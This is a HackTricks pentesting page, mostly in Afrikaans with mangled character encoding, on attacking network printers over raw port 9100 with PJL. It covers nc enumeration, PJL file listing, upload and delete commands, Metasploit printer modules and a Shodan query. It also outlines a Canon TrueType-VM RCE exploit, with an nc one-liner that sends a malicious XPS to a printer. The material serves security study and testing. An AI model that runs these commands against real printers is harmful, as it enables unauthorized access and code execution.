9100/tcp - PJL (Printer Job Language)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
From here: Rou druk is wat ons definieer as die proses om βn verbinding met port 9100/tcp van βn netwerkdrukker te maak. Dit is die standaardmetode wat deur CUPS en die Windows printing architecture gebruik word om met netwerkdrukkers te kommunikeer, aangesien dit beskou word as βdie eenvoudigste, vinnigste, en oor die algemeen die mees betroubare netwerkprotokol wat vir drukkers gebruik wordβ. Rou port 9100-druk, ook verwys as JetDirect, AppSocket of PDL-datastream, is eintlik nie βn drukprotokol op sigself nie. In plaas daarvan word alle gestuurde data direk deur die druktoestel verwerk, net soos βn parallelle verbinding oor TCP. In teenstelling met LPD, IPP en SMB, kan dit direkte terugvoer aan die kliΓ«nt stuur, insluitend status- en foutboodskappe. So βn tweerigtingkanaal gee ons direkte toegang tot resultate van PJL, PostScript of PCL opdragte. Daarom word rou port 9100-druk β wat deur byna enige netwerkdrukker ondersteun word β gebruik as die kanaal vir sekuriteitsanalise met PRET en PFT.
As jy meer wil leer oor hacking printers read this page.
Standaardpoort: 9100
9100/tcp open jetdirect
Enumerasie
Handmatig
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@PJL INFO ID # ID (Brand an version): Brother HL-L2360D series:84U-F75:Ver.b.26
@PJL INFO PRODINFO #Product info
@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 #List dir
@PJL INFO VARIABLES #Env variales
@PJL INFO FILESYS #?
@PJL INFO TIMEOUT #Timeout variables
@PJL RDYMSG #Ready message
@PJL FSINIT
@PJL FSDIRLIST
@PJL FSUPLOAD #Useful to upload a file
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
Outomaties
nmap -sV --script pjl-ready-message -p <PORT> <IP>
msf> use auxiliary/scanner/printer/printer_env_vars
msf> use auxiliary/scanner/printer/printer_list_dir
msf> use auxiliary/scanner/printer/printer_list_volumes
msf> use auxiliary/scanner/printer/printer_ready_message
msf> use auxiliary/scanner/printer/printer_version_info
msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
Printers Hacking tool
Dit is die tool wat jy wil gebruik om drukkers te misbruik: PRET
XPS/TrueType VM exploitation (Canon ImageCLASS)
-
Stuur XPS oor PJL:
-
@PJL ENTER LANGUAGE = XPS -
Stuur dan die XPS ZIP bytes oor dieselfde TCP-verbinding.
-
Minimale XPS-bladsy wat na βn attacker font verwys:
<Glyphs Fill="#ff000000" FontUri="/Resources/evil.ttf" FontRenderingEmSize="12" OriginX="10" OriginY="10"/>
-
RCE primitive summary (TrueType hinting VM):
-
Hinting bytecode in TTF is executed by a TrueType VM. Canon se VM het geen stack-bounds kontrole gehad.
-
CINDEX: OOB stack read β info leak
-
DELTAP1: unchecked relative stack pivot β controlled writes with subsequent pushes
-
Combine
WS/RS(VM storage write/read) to stage values and perform a precise 32-bit write after pivot. -
Exploit outline:
- Skep βn XPS met die bladsy hierbo en sluit
/Resources/evil.ttfin. - In
fpgm/prep, gebruikCINDEXom te leak enstack_curte bereken. - Stage teikelwaarde met
WS; pivot metDELTAP1na die bestemming; gebruikRSom dit te skryf (bv. na βn function pointer) om PC-beheer te verkry.
- Send over 9100/tcp:
{ printf "@PJL ENTER LANGUAGE = XPS\r\n"; cat exploit.xps; } | nc -q0 <PRINTER_IP> 9100
exploit.xpsis βn geldige XPS ZIP watDocuments/1/Pages/1.fpageen/Resources/evil.ttfbevat.
Shodan
pjl port:9100
Verwysings
- Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)
- Apple TrueType Reference Manual β Instruction Set and VM (26.6 fixed point)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

